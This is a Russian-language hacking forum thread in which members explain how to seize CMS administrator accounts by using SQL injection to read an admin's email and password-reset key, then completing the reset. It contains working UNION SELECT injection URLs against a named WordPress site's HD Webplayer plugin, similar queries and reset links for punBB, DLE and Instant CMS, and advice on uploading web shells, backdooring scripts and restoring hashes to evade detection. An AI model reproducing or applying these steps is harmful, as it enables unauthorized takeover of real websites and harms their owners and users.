PDA

Просмотр полной версии : Получаем доступ в админку Wordpress без расшифровки хэша


MaxFast
07.11.2012, 16:56
Приветствую. Решил написать небольшую заметку.

Как вы знаете чтобы зайти в админ-панель Wordpress, нужно расшифровать хэш администратора.

Но я понял как входить в панель без ожидания расшифровки хэша.

Покажу на примере.

У нас есть блог, где мы уже вывели данные из таблицы wp_users.

Торопится выводить пароль не стоит, выведем e-mail администратора:


http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a, user_emai),5,6,7,8,9,10,11+from+wp_users--

И результат запроса:


admin:hackingmaster94@gmail.com


Так. Теперь идем на страницу авторизации wp-login.php, и переходим на страницу восстановления пароля (В нашем случае Passwort vergessen).

Вводим e-mail администратора который мы получили выше, и отправляем письмо.

Пол дела мы сделали. Особенность Wordpress такова, что код подтверждения записывается в БД.

Делаем такой запрос:


http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a, user_activation_key),5,6,7,8,9,10,11+from+wp_users--

И в результате мы получаем активационный код:


P6rd7g1bPW28zgbPCRtZ


Теперь идем на страницу сброса пароля (При этом заполнив параметры):


www.abbdi.com/wp-login.php?action=rp&key=P6rd7g1bPW28zgbPCRtZ&login=admin

И мы видим что нам предлагают ввести новый пароль, вводим, и меняем.

Далее привычная авторизация.

Ну вот и все. Есть некоторое примечание, этот способ может не работать на тех блогах, где отключен mail().

Способ работает не везде.

(с) MaxFast

cLauZ
07.11.2012, 17:06
Аммм...сорри ТС а для какой версии WP?

И как получить хэш для версии 3.4.1

MaxFast
07.11.2012, 17:10
Аммм...сорри ТС а для какой версии WP?
И как получить хэш для версии 3.4.1


Ну я тестировал на 3.2.1.

Все данные я вытянул с помощью SQL Injection в плагине.

Prosta4ok
07.11.2012, 17:32
Аммм...сорри ТС а для какой версии WP?


работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..

martmm
07.11.2012, 17:45
ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?

MaxFast
07.11.2012, 17:47
ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?


Пароль знать не нужно, да.

Главное узнать e-mail, и активационный код.

Alexey_S
07.11.2012, 18:09
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..


если шел зальешь, базу можно будет вернуть в исходное состояние.

Serafim
07.11.2012, 18:13
если шел зальешь, базу можно будет вернуть в исходное состояние.


И удалить письмо с восстановлением пароля с почты владельца?

Alexey_S
07.11.2012, 18:22
И удалить письмо с восстановлением пароля с почты владельца?


Он может его и не прочитать, как повезет.Но если оставить как написано в первом посте, факт обнаружения выше.

blesse
07.11.2012, 19:01
Хм спасибо извлек для себя новое)А по поводу палева-если цель не очень то может и админ оказаться не совсем компетентным просто вернуть пасс обратно и забэкдорить какой нить скрипт авось и не заметит)

А если какойнибудь крупный сайт то тут уж и денег не жалко ящик его проспамить. Лови +++

blesse
07.11.2012, 20:05
Кстати а как с джумлой обстоят дела?Там же тоже должно катить.

VY_CMa
07.11.2012, 20:40
Данный способ подходит для большого числа CMS и движков, за исключением тех, которые высылают на e-mail сам пароль.

GrandMaster
07.11.2012, 20:44
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..


Отчего же? заливаем шелл, в бд меняем наш хеш админа на старый


И удалить письмо с восстановлением пароля с почты владельца?


Ну кто то узнал мейл и пытался восстановить пароль. Что такого то? Там же вряд ли приходит новый пасс

FraiDex
08.11.2012, 05:53
Плагин HD Webplayer далеко не везде установлен. Но за способ +.

MaxFast
08.11.2012, 08:53
Плагин HD Webplayer далеко не везде установлен. Но за способ +.


Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.

FraiDex
08.11.2012, 10:43
Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.


Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.

MaxFast
08.11.2012, 10:47
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.


Какая разница как именно и через что проводить инъекцию? У Wordpress'a много уязвимых мест.

justonline
08.11.2012, 11:06
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.


да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.

FraiDex
08.11.2012, 15:07
да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.


Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.

MaxFast
08.11.2012, 15:29
Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.


Суть этой статьи в том, чтобы показать как обойти расшифровку пароля на Wordpress.

Тут совершенно неважно какая бага, тут только прочитать данные из поля нужно, и все.

попугай
08.11.2012, 16:53
Ааааааа, ну зачем-зачем-зачем ты спалил!!


Кстати а как с джумлой обстоят дела?Там же тоже должно катить.


с 1.7 в базе код восстановления хеширован.

winstrool
08.11.2012, 20:09
ну раз с WP раскрылась тема то и до джумлы доберутся)

вообщем в таблице юзеров есть такая колонка "activation" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "521608068f705c84e225b8bc30e387d6:$1$e47b7a03$"

на почту пришел такой хешь "985255f8d4bbe03c95ec3b144fc43da8" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!

форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confirm

kingbeef
09.11.2012, 02:56
ну раз с WP раскрылась тема то и до джумлы доберутся)
вообщем в таблице юзеров есть такая колонка "
activation
" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "
521608068f705c84e225b8bc30e387d6:$1$e47b7a03$
"
на почту пришел такой хешь "
985255f8d4bbe03c95ec3b144fc43da8
" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!
форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confirm


Так 100 лет можно брутить хэш.

BigBear
09.11.2012, 08:21
Короче походу все мои исследования, что я по ретриву проводил пора выкидывать в мусорку... Дальше так и пойдёт....

winstrool
10.11.2012, 18:31
Так 100 лет можно брутить хэш.


раньше открытые были, потом пофиксели с какойто версии.

qaz
20.11.2012, 00:29
продолжу тему раз уж нато пошло

форум punBB 1.3.4


select+substr(concat_ws(0x3a,id,username,email),1, 99)+from+forum_users+limit+1,1

получаем


2:Администратор:емеил@list.ru


идём на страницу востановления пароля


http://сайт.ру/forum/login.php?action=forget

вводим емеил, далее


select+substr(concat_ws(0x3a,id,activate_key),1,99 )+from+forum_users+limit+1,1

получам


2:uEH7Wftq


далее меняем пароль


http://сайт.ру/forum/profile.php?action=change_pass&id=
2
&key=
uEH7Wftq

MaxFast
20.11.2012, 10:38
Тогда можно переименовать тему, и посвятить ее способам на других CMS.

BigBear
20.11.2012, 13:10
Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...

Sergeynia
21.11.2012, 16:11
Да можно создать тему

Prosta4ok
21.11.2012, 16:57
Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...


может не стоит?) захэшируют же все))

OxoTnik
11.01.2013, 05:47
переносите тему в ветку уязвимости.

BigBear'у теперь некогда этим заниматься, а тема не должна затеряться.

XAMEHA
11.01.2013, 08:16
Способ так-же подходит для VB - при восстановлении устанавливается новый 8-ми символьный цифровой пароль, который сбрутить не составит труда, хэши в ссылке на восстановление не используются.

Потом хэш можно вернуть на изначальный, только вот письмо из почты админа никуда не денется, хотя возможно в других двигах есть свои нюансы.

Cennarios
19.01.2013, 14:32
Версию не уточнял!

DLE:

1) http://site/?do=lostpassword (via email)

2) use bug:

http://site/script.php?video=-49674'+union+select+1,2,lostid,4,5,6,7+from+dle_lo stdb+where+lostname='1'--+

В данном случае, lostname - это ID пользователя - обычно админ

3)переход по линку:

http://site/index.php?do=lostpassword&action=password&douser=1&lostid=a05e0f74df705f0a1e3ab0803f82a7fd046214d5

4) Генерится 11 символьный пароль из loweralpha и digit. Причем, есть шанс, что сгенеренный пароль будет only 11 digit's

P.S Лично у меня 11 lenght DIGIT simblols EGB обходит перебором за пару минут.

Instant CMS v1.9

CСсылка формируется согласно шаблону:

Query -

SELECT *, DATE_FORMAT(logdate, '%d-%m-%Y-%H-%i-%s') as logdate FROM cms_users WHERE email = 'email' LIMIT 1

Непосредственно вычисление хеша:

$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate']);

В результате прямой линк на сброс пароля принимает вид:

http://site/registration/remind/bbd4da8d02433a6bdea3d3019458f951

Далее в форме вводим новый пароль:подтверждение.

P.S. В stable что лежит на офф сайте код в алгоритм формирования ссылки в конец добавляется константа PATH ( $_SERVER['DOCUMENT_ROOT'])

Like this:

$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate'].PATH);

hpol
16.12.2013, 15:44
wp 3.4.2. прокатило

ninja96c
11.09.2014, 12:10
WP 3.9.1 и выше (может и ниже) - ключ активации хешируется.

20 символов [a-zA-Z0-9] - проще хеш админа подобрать...